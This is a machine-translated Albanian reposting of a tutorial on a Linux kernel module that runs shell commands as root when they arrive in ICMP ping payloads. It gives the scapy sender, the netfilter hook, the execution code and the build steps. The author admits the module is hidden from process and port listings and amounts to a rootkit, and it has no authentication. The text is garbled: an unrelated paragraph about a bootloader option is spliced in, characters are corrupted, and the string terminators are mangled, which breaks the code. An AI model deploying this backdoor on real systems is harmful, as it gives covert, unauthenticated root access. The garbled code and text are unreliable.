Shell-i bërthamor mbi ICMP

Shell-i bërthamor mbi ICMP

TL;DR: po shkrimi një moduli bërthamor që do të lexojë komandat nga payload-i ICMP dhe do t'i ekzekutojë ato në server, edhe në rast se SSH-ja bie. Për më të padurueshmit, e gjithë kodi është në github.

Opsioni —bootable pĂ«rcakton nga cilat pajisje blloku Ă«shtĂ« montuar direktoriumi dhe installon bootloader-in nĂ« kĂ«tĂ« pajisje. NĂ«se e harroni tĂ« montoni pajisjen ose gabimisht pĂ«rcaktoni njĂ« direktorium, qĂ« ndodhet, pĂ«r shembull, nĂ« /dev/sda, pĂ«rkatĂ«sisht bootloader-i nĂ« /dev/sda do tĂ« mbivendoset. PĂ«rdorni —bootable me kujdes. Programuesit e aftĂ« nĂ« C rrezikojnĂ« tĂ« qajnĂ« me lot gjaku! Mund tĂ« jem nĂ« gabim edhe nĂ« terminologji, por çdo kritikĂ« Ă«shtĂ« e mirĂ«pritur. Postimi Ă«shtĂ« pĂ«r ata qĂ« kanĂ« njĂ« ide tĂ« pĂ«rafĂ«rt pĂ«r programimin nĂ« C dhe duan tĂ« hedhin njĂ« sy nĂ« brendĂ«si tĂ« Linux-it.

Në komentet e postimit tim të parë artikullin u përmend SoftEther VPN, i cili di të mimikrojë disa protokolle "të zakonshme", veçanërisht HTTPS, ICMP dhe madje DNS. Unë e imagjinoj funksionimin vetëm të parërit, pasi jam shumë i njohur me HTTP(S), ndërsa tunneling mbi ICMP dhe DNS më duhej ta studioja.

Shell-i bërthamor mbi ICMP

Po, në vitin 2020 mora vesh se në paketat ICMP mund të fusim një payload të rastësishëm. Por më mirë vonë sesa kurrë! Dhe pasi që mund të bëhet diçka me këtë, duhet ta bëjmë. Duke qenë se në përditshmërinë time përdor më shpesh terminalin, përfshirë përmes SSH, ideja e shell-it ICMP më erdhi në mendje që në fillim. Dhe për të mbledhur një bullsh*t-bingo, vendosa ta shkruaj në formën e një moduli Linux në një gjuhë për të cilën kam vetëm një ide të përafërt. Ky shell nuk do të shihet në listën e proceseve, mund të ngarkohet në bërthamë dhe nuk do të jetë në sistemin e skedarëve, nuk do të shihni asgjë të dyshimtë në listën e porteve të dëgjimit. Në potencialet e tij, ky është një rootkit i plotë, por shpresoj ta përmirësoj dhe ta përdor si një shell të fundit të shpresës kur Load Average është shumë i lartë për të hyrë nëpërmjet SSH dhe të ekzekutoj të paktën echo i > /proc/sysrq-trigger, për të rikthyer qasjen pa e riluajtur.

Marrim njĂ« redaktor teksti, aftĂ«si bazike programimi nĂ« Python dhe C, Google dhe njĂ« virtuale e cila nuk mĂ« vjen keq ta ndizja nĂ«se gjithçka shkatĂ«rrohet (opsionale — VirtualBox/KVM/local etc) dhe fillojmĂ«!

Pjesa klient

Më dukej se për pjesën e klientit do të duhej të shkruaja një skript me rreth 80 rreshta, por ndodhi që kishte njerëz të mirë që e bënë për mua të gjithë punën. Kodi doli më i thjeshtë se sa pritej, u përshtat në 10 rreshta të rëndësishëm:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Përdorimi: {} IP "komandë"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skripti merr dy argumente, adresën dhe payload-in. Para dërgimit, payload-i paraprihet nga çelësi run:, do t'na nevojitet për të përjashtuar paketat me ngarkesë të rastësishme.

Nukka kërkon privilegje për të krijuar paketat, prandaj skripti duhet të ekzekutohet me të drejtat e administratorit. Mos harroni të jepni të drejtat e ekzekutimit dhe të instaloni vetë scapy. Në Debian ka një paketë, e cila quhet python3-scapy. Tani mund të kontrolloni se si funksionon gjithçka.

Ekzekutimi dhe dalja e komandës
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hello, world!"
Fillimi i emetimit:
.Përfundoi dërgimi i 1 paketave.
*
Mori 2 paketa, mori 1 përgjigje, mbetën 0 paketa
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Kështu duket në analizuesin
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp dhe host 45.11.26.232"
Duket si përdoruesi "root" dhe grupi "root". Kjo mund të jetë e rrezikshme.
Duke kapur në 'wlp1s0'
Kadri 1: 59 byte në tel (472 bits), 59 byte të kapura (472 bits) në ndërfaqen wlp1s0, id 0
Protokolli i Internetit Versioni 4, Src: 192.168.0.240, Dst: 45.11.26.232
Protokolli i Mesazheve të Kontrollit të Internetit
Lloji: 8 (Kërkesë Echo (ping))
Kodi: 0
Kontrolli: 0xd603 [korrekt]
[Statusi i Kontrollit: Mirë]
Identifikuesi (BE): 0 (0x0000)
Identifikuesi (LE): 0 (0x0000)
Numri i sekuencës (BE): 0 (0x0000)
Numri i sekuencës (LE): 0 (0x0000)
Të dhënat (17 byte)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Gjatësia: 17]

Kadri 2: 59 byte në tel (472 bits), 59 byte të kapura (472 bits) në ndërfaqen wlp1s0, id 0
Protokolli i Internetit Versioni 4, Src: 45.11.26.232, Dst: 192.168.0.240
Protokolli i Mesazheve të Kontrollit të Internetit
Tipi: 0 (Përgjigje (ping) e dërguar)
Kodi: 0
Kontrolli: 0xde03 [korrekt]
[Statusi i Kontrollit: Mirë]
Identifikuesi (BE): 0 (0x0000)
Identifikuesi (LE): 0 (0x0000)
Numri i sekuencës (BE): 0 (0x0000)
Numri i sekuencës (LE): 0 (0x0000)
[Kadri i kërkesës: 1]
[Koha e përgjigjes: 19.094 ms]
Të dhënat (17 byte)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Gjatësia: 17]

^C2 paketa të kapura

Ngarkesa në paketën e përgjigjes nuk ndryshohet.

Moduli i bërthamës

Për ndërtimin në një makinë virtuale me Debian, do të nevojiten së paku make dhe linux-headers-amd64, e gjithë e tjera do të tërhiqen si varësi. Në artikull nuk do të jap kodin në tërësi, mund ta klononi atë në GitHub.

Konfigurimi i hooks

Së pari, na duhen dy funksione për të ngarkuar modulin dhe për ta shkarkuar atë. Funksioni për shkarkimin nuk është i detyrueshëm, por atëherë rmmod nuk do të mund të ekzekutohet, moduli do të shkarkohet vetëm kur të fiket.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

ÇfarĂ« ndodh kĂ«tu:

  1. Të dy skedarët e titullit për manipulimin me modulin dhe me netfilterin kërkohen.
  2. Të gjitha operacionet kalojnë përmes netfilterit, ku mund të vendosen hooks. Për këtë, duhet të shpallet struktura në të cilën hook do të konfigurohet. E rëndësishmja është të shënohet funksioni që do të ekzekutohet si hook: nfho.hook = icmp_cmd_executor; do të arrij edhe te funksioni vetë.
    Më pas përcaktoj momentin e trajtimit të paketës: NF_INET_PRE_ROUTING tregon të trajtohet paketa, kur sapo ka ardhur në bërthamë. Mund të përdoret NF_INET_POST_ROUTING për trajtimin e paketës në daljen nga bërthama.
    Vë një filtër mbi IPv4: nfho.pf = PF_INET;.
    Caktoj prioritetin më të lartë për hook-un tim: nfho.priority = NF_IP_PRI_FIRST;
    Dhe regjistroj strukturën e të dhënave si hook: nf_register_net_hook(&init_net, &nfho);
  3. Në funksionin përfundimtar, hook-u hiqet.
  4. Licenca është e shënuar qartë, në mënyrë që kompajleri të mos ankohet.
  5. Funksionet module_init() dhe module_exit() përcaktojnë funksione të tjera si funksionin fillestar dhe përfundimtar të punës së modulit.

Nxjerrja e ngarkesës

Tani e nevojshme të nxjerrim payload-in, kjo rezultoi të ishte detyra më e vështirë. Në bërthamë nuk ka funksione të integruara për punën me payload-in, mund të analizojmë vetëm titujt e protokolleve më të nivelit të lartë.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

ÇfarĂ« po ndodh:

  1. Më duhet të lidh disa skedarë shtesë, këtë herë për manipulimin me IP dhe ICMP headers.
  2. Caktoj gjatësinë maksimale të vargut: #define MAX_CMD_LEN 1976. Pse pikërisht kështu? Sepse kompajleri ankohet për një gjatësinë më të madhe! Më kanë dhënë disa këshilla për të punuar me stek dhe heap, ndonjëherë do ta bëj edhe këtë dhe ndoshta do ta rregulloj kodin. Dua të caktoj një varg, në të cilin do të vendos komandën: char cmd_string[MAX_CMD_LEN];. Ai duhet të jetë i dukshëm në të gjitha funksionet, për këtë do të flas më shumë në pikën 9.
  3. Tani duhet të inicializoj (struct work_struct my_work;) strukturën dhe ta lidh atë me një funksion tjetër (DECLARE_WORK(my_work, work_handler);). Pse është e nevojshme kjo, do ta shpjegoje gjithashtu në pikën e nëntë.
  4. Tani shpall funksionin që do të jetë hook. Lloji dhe argumentet e marra përcaktohen nga netfilter, na intereson vetëm skb. Kjo është një buffer soketi, një strukturë të dhënash themelore që përmban të gjitha informacionet e disponueshme mbi paketën.
  5. Për funksionin do të nevojiten dy struktura, dhe disa variabla, përfshirë dy iterues.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Mund të filloj logjikën. Për punën e modulit nuk nevojiten paketat e tjera përveç ICMP Echo, kështu që analizojmë buffer-in me funksionet e integruara dhe hiqni të gjitha paketat që nuk janë ICMP ose Echo. Kthimi NF_ACCEPT do të thotë pranim i paketës, por gjithashtu mund të refuzoni paketat, duke kthyer NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nuk kam kontrolluar se çfarë do të ndodhë pa verifikimin e titujve IP. Njohuria ime minimale për C më thotë: pa kontrolle shtesë, patjetër do të ndodhin gjëra të këqija. Do të isha i lumtur nëse do të më bindnin për të kundërtën!

  7. Tani, kur paketa është e sigurta e llojit të duhur, mund të nxjerrim të dhënat. Pa një funksion të integruar, më parë duhet të marr një tregues në fillimin e payload-in. Kjo bëhet përmes një vendi, duhet të marr një tregues në fillimin e titullit ICMP dhe ta zhvendos atë në madhësinë e këtij titulli. Për gjithçka përdoret struktura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Fundi i titullit duhet të përkojë me fundin e ngarkesës në skb, prandaj e marrim me mjete bërthamore nga struktura përkatëse: tail = skb_tail_pointer(skb);.

    Shell-i bërthamor mbi ICMP

    I mora imazhin këtu, mund të lexoni më shumë rreth buffer-it të soketëve.

  8. Pas marrjes së treguesve në fillim dhe në fund, është e mundur të kopjoni të dhënat në vargun cmd_string, ta kontrolloni për prapashtesën run: dhe, nëse ajo mungon, ose ta flakni paketën ose ta ripërshtatni përsëri vargun, duke e hequr këtë prapashtesë.
  9. Mire, tani mund të thërrasim një handler tjetër: schedule_work(&my_work);. Duke qenë se në këtë thirrje nuk mund të kalosh një parameter, vargu me komandën duhet të jetë global. schedule_work() do ta vendosë funksionin e lidhur me strukturën e kaluar në radhën e përbashkët të planifikuesit të detyrave dhe do të përfundojë, duke e lejuar që të mos presim përfundimin e komandës. Kjo është e nevojshme sepse hook duhet të jetë shumë i shpejtë. Ndryshe, do të keni, sipas zgjedhjes, asgjë për të nisur ose do të merrni një kernel panic. Vonesat janë të rrezikshme!
  10. Tani, mund të pranojmë paketën me kthimin përkatës.

Thirrja e programit në hapësirën e përdoruesit

Kjo funksion është më e kuptueshme. Emri i saj u dha në DECLARE_WORK(), lloji dhe argumentet e pranuara nuk janë interesante. Marrim vargun me komandën dhe e kalojmë tërësisht shell-it. Le ta kuptojë vetë për gramatikën, kërkimin e binarëve dhe gjithçka tjetër.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Dizajnojmë argumentet në vargun e vargjeve argv[]. Supozuj se të gjithë e dinë që programet në të vërtetë ekzekutohen kështu, dhe jo si një varg i pandërprerë me hapësira.
  2. Dizajnojmë variablat e mjedisit. Vendosa vetëm PATH me një grup minimal të rrugëve, duke supozuar që të gjithë i kanë tashmë të konsoliduara /bin me /usr/bin dhe /sbin me /usr/sbin. Rrugët e tjera janë mjaft të rralla për t'u marrë parasysh në praktikë.
  3. Gati, le të ekzekutojmë! Funksioni i bërthamës call_usermodehelper() pranon si input. rruga për binarin, vargu i argumenteve, vargu i variablave të mjedisit. Këtu gjithashtu supozoj se të gjithë e kuptojnë sensin e kalimit të rrugës për skedarin ekzekutues si një argument të veçantë, por mund të pyesni. Argumenti përfundimtar tregon nëse të pritet përfundimi i procesit (UMH_WAIT_PROC), fillimi i procesit (UMH_WAIT_EXEC) ose të mos pritet fare (UMH_NO_WAIT). Ka gjithashtu UMH_KILLABLE, nuk e shqyrtova këtë.

Ndërtimi

Ndërtimi i moduleve bërthamore bëhet përmes kuadrit miratojmë bërthamën. Thirret make në brendësi të një direktorie speciale që lidhet me versionin e bërthamës (caktuar këtu: KERNELDIR:=/lib/modules/$(shell uname -r)/build), dhe vendndodhja e modulit transmetohet përmes ndryshoreve M në argumenta. Në targetet icmpshell.ko dhe clean përdoret krejt ky kornizë. Në obj-m specifikohet skedari objekt që do të rishkruhet në modul. Sintaksa, e cila rishkruan main.o në icmpshell.o (icmpshell-objs = main.o) për mua duket jo shumë logjike, por le të jetë kështu.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Po e tregojmë: make. Ngarkojmë: insmod icmpshell.ko. Gati, mund të verifikoni: sudo ./send.py 45.11.26.232 "date > /tmp/test". Nëse keni një skedar në makinë tuaj /tmp/test dhe në të ka datën e dërgimit të kërkesës, atëherë keni bërë gjithçka siç duhet dhe unë kam bërë gjithçka siç duhet.

Përfundimi

Eksperienca ime e parë në zhvillimin e bërthamës ishte shumë më e thjeshtë se sa e prisja. Edhe pa pasur përvojë në zhvillimin në C, duke u orientuar nga treguesit e kompilatorit dhe rezultatet e Google, isha në gjendje të shkruaja një modul funksional dhe të ndihesha si një haker bërthamor, ndërkohë që e dija se isha gjithashtu një skript-ë kid. Përveç kësaj, hyra në kanalin Kernel Newbies, ku më sugjeruan të përdor schedule_work() në vend të thirrjes call_usermodehelper() në brendësi të vetë mongile dhe më shpifën, duke e dyshuar drejtë për skamin. Qindra rreshta kodi më kushtuan rreth një javë zhvillimi në kohën time të lirë. Një përvojë e suksesshme, që shkatërroi mitin tim personal mbi kompleksitetin e pamundur të zhvillimit sistemor.

Nëse dikush pranon të bëjë një rishikim kodi në GitHub, do të isha mirënjohës. Kam pothuajse siguri se kam bërë shumë gabime të kota, veçanërisht në punën me vargjet.

Shell-i bërthamor mbi ICMP

Burimi: habr.com

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster